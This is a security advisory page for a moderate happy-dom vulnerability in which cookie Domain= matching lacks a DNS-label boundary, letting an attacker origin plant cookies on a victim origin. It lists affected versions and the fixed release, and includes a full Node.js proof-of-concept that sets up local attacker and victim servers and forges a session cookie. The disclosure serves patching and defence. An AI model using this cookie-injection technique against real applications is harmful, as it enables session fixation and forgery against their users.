---
title: "GHSA-5fpq-26gf-qwcr: Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies"
description: "Moderate severity. Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies."
url: https://inlinr.com/advisories/GHSA-5fpq-26gf-qwcr
lang: en
---

[Packages](https://inlinr.com/packages) / [happy-dom](https://inlinr.com/packages/happy-dom) / [Security](https://inlinr.com/packages/happy-dom/security)

Moderate Vulnerability GHSA-5fpq-26gf-qwcr CVE-2026-118661 Published 28 Oct 2026

# Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies

Your version 

Affected releases · [happy-dom](https://inlinr.com/packages/happy-dom)

- 20.x 20.0.0 – 20.14.5 Fixed in 20.14.6
- 19.x and older 0.0.1 – 19.0.2 No fix, no longer updated

On 20.x, the newest line:

```
npm install happy-dom@20.14.6
```

Every release on a timeline

21.x 

1. Not affected

21.0.0 – 21.0.4  
5 releases, latest

20.x 

1. Affected

20.0.0 – 20.14.5  
87 releases
2. Fixed

20.14.6  
1 release

19.x 

1. Affected

19.0.0 – 19.0.2  
3 releases

18.x 

1. Affected

18.0.0 – 18.0.1  
2 releases

17.x 

1. Affected

17.0.0 – 17.6.3  
51 releases

16.x 

1. Affected

16.0.0 – 16.8.1  
29 releases

15.x 

1. Affected

15.0.0 – 15.11.7  
42 releases

14.x 

1. Affected

14.0.0 – 14.12.3  
44 releases

13.x 

1. Affected

13.0.0 – 13.10.1  
53 releases

12.x 

1. Affected

12.0.0 – 12.10.3  
28 releases

11.x 

1. Affected

11.0.0 – 11.2.0  
11 releases

10.x 

1. Affected

10.0.0 – 10.11.2  
35 releases

9.x 

1. Affected

9.0.0 – 9.20.3  
60 releases

8.x 

1. Affected

8.0.0 – 8.9.0  
33 releases

7.x 

1. Affected

7.0.0 – 7.8.1  
40 releases

6.x 

1. Affected

6.0.0 – 6.0.4  
5 releases

5.x 

1. Affected

5.0.0 – 5.4.0  
9 releases

4.x 

1. Affected

4.0.0 – 4.1.0  
4 releases

3.x 

1. Affected

3.0.0 – 3.2.2  
6 releases

2.x 

1. Affected

2.0.0 – 2.55.0  
106 releases

1.x 

1. Affected

1.0.0 – 1.18.2  
58 releases

0.x 

1. Affected

0.0.1 – 0.14.1  
68 releases

780 stable releases of happy-dom, oldest to newest, one row per major.

## What happens

Summary

A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.

Details

happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=[notexample.com](http://notexample.com/ "http://notexample.com/")) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.

PoC

Run:

```
node poc-happydom-cookie-domain.js
```

Full proof-of-concept source (poc-happydom-cookie-domain.js):

```
// PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation
// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)
//        -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)
//        -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)
//        -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie
// Run:  cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js
const http = require('http');
const { Window } = require('happy-dom');

const ATK_PORT = 19311; // attacker server, 127.0.0.1
const VIC_PORT = 19312; // victim server, localhost

let victimReceivedCookies = [];

let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;

const attacker = http.createServer((req, res) => {
  if (req.method === 'OPTIONS') {
    // CORS preflight (happy-dom enforces same-origin policy with a preflight; the
    // attacker trivially answers it — an attacker-controlled server always can)
    res.writeHead(204, {
      'Access-Control-Allow-Origin': '*',
      'Access-Control-Allow-Methods': 'GET, OPTIONS',
      'Access-Control-Allow-Headers': '*'
    });
    res.end();
    return;
  }
  res.writeHead(200, {
    'content-type': 'image/gif',
    'Access-Control-Allow-Origin': '*',
    // Attacker claims Domain=localhost even though it is serving from 127.0.0.1.
    // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of
    // the request-host; localhost is also on the Mozilla PSL).
    'Set-Cookie': attackerSetCookie
  });
  res.end('GIF89a');
});

const victim = http.createServer((req, res) => {
  victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null });
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify({ ok: true, user: 'alice' }));
});

function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); }

async function runScenario(scenario) {
  victimReceivedCookies = [];
  const win = new Window({
    url: `http://localhost:${VIC_PORT}/`,
    settings: {
      enableJavaScriptEvaluation: true,
      suppressInsecureJavaScriptEnvironmentWarning: true
    }
  });
  try {
    if (scenario === 'no-plant-control') {
      // Control: app NEVER contacts attacker -> victim must receive NO cookie
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    } else if (scenario === 'honest-domain-control') {
      // Control: attacker sets Domain=127.0.0.1 (its own host, honest)
      // -> cookie must NOT leak to localhost victim
      attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;
      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    } else {
      // attack: app fetches attacker content (scraping/SSR/third-party resource)
      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    }
    await sleep(150);
    return victimReceivedCookies;
  } finally {
    win.happyDOM.abort();
  }
}

async function main() {
  await new Promise((r) => attacker.listen(ATK_PORT, '127.0.0.1', r));
  await new Promise((r) => victim.listen(VIC_PORT, 'localhost', r));

  console.log('=== happy-dom cookie-domain scoping PoC ===\n');

  const attack = await runScenario('attack');
  console.log('[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)');
  attack.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));
  const forged = attack.some((e) => e.cookie && e.cookie.includes('session=FORGED_BY_ATTACKER'));
  console.log(`  -> forged cookie delivered to victim: ${forged ? 'YES (VULNERABLE)' : 'no'}`);

  const noPlant = await runScenario('no-plant-control');
  console.log('\n[CONTROL] app never contacts attacker');
  noPlant.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));

  const honest = await runScenario('honest-domain-control');
  console.log('\n[CONTROL] attacker sets honest Domain=127.0.0.1 only');
  honest.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));

  // unit proof: document.cookie setter also accepts non-suffix domains (browser rejects)
  const win2 = new Window({
    url: `http://localhost:${VIC_PORT}/`,
    settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true }
  });
  win2.document.cookie = `admin=1; Domain=com; Path=/`; // PSL public suffix!
  const readBack = win2.document.cookie;
  console.log(`\n[UNIT] document.cookie = 'admin=1; Domain=com' -> read back: '${readBack}'`);
  console.log(`  -> browser: REJECTED (public suffix); happy-dom: ${readBack.includes('admin=1') ? 'ACCEPTED' : 'rejected'}`);
  win2.happyDOM.abort();

  // unit proof: endsWith boundary bug (SameSite=None cookie -> sent to any host ending with the domain)
  const { default: CookieURLUtility } = require('happy-dom/lib/cookie/urilities/CookieURLUtility.js');
  const matchesBoundary = CookieURLUtility.cookieMatchesURL(
    { key: 'k', value: 'v', originURL: new URL('http://attacker.example/'), domain: 'example.com', path: '/', secure: true, sameSite: 'None' },
    new URL('https://notexample.com/')
  );
  console.log(`\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}`);
  console.log(`  -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match`);

  attacker.close();
  victim.close();
  process.exit(0);
}

main().catch((e) => { console.error(e); process.exit(1); });
```

Observed output (verbatim, Node 24.15.0, Windows):

```
[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true
  -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match
```

Impact

Cookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom <= 20.14.5\. Note: main pushback will be that happy-dom is a test DOM — state the SSR use case.

## How it is exploited

Exploitable over the network, with no account and no action from a user.

- **Confidentiality**: low
- **Integrity**: low
- **Availability**: none

CVSS:3.1/​AV:N/​AC:L/​PR:N/​UI:N/​S:U/​C:L/​I:L/​A:N

## References

- [Reference](https://github.com/capricorn86/happy-dom/security/advisories/GHSA-5fpq-26gf-qwcr "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-5fpq-26gf-qwcr")  
github.com/capricorn86/happy-dom/security/advis…
- [Pull request](https://github.com/capricorn86/happy-dom/pull/2477 "https://github.com/capricorn86/happy-dom/pull/2477")  
#2477
- [Fix commit](https://github.com/capricorn86/happy-dom/commit/f21dbd7d0a0c63cdd41954ba5d0f05def4e0f2b3 "https://github.com/capricorn86/happy-dom/commit/f21dbd7d0a0c63cdd41954ba5d0f05def4e0f2b3")  
f21dbd7
- [Package](https://github.com/capricorn86/happy-dom "https://github.com/capricorn86/happy-dom")  
github.com/capricorn86/happy-dom
- [Reference](https://github.com/capricorn86/happy-dom/releases/tag/v20.14.6 "https://github.com/capricorn86/happy-dom/releases/tag/v20.14.6")  
github.com/capricorn86/happy-dom/releases/tag/v…

A whole project to check? Paste its package.json in the [dependency check](https://inlinr.com/tools/dependency-check): every deprecated, outdated or vulnerable dependency, with what to upgrade to. Free, no account.
